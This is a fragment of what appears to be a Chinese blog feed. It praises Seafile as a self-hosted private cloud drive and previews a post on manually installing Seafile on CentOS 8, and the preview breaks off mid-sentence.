Seafile 作为私有云盘而言，无疑是很优秀的，完善的客户端、丰富的支持文档，让安装、使用变得更简单，同时相对于 ownCloud 等而言，则拥有更好的性能。免费社区版对于个人而言，是完全够用的。

]]> https://careful.fyi/posts/1630221682/ 2021-08-29T07:21:22.000Z 使用 Seafile 已经好几年，日常中使用它来同步照片、同步 Enpass 的密码库、存储历史文档，6.X 版本持续运行几年也未发生问题，因为备案政策越来越繁杂等原因，不得不重新购置一台海外服务器来重新部署一下 Seafile，由于 Seafile7 以上版本对 Pyth]]> 手动在CentOS 8下安装Seafile，搭建私有云 2026-02-28T05:32:22.000Z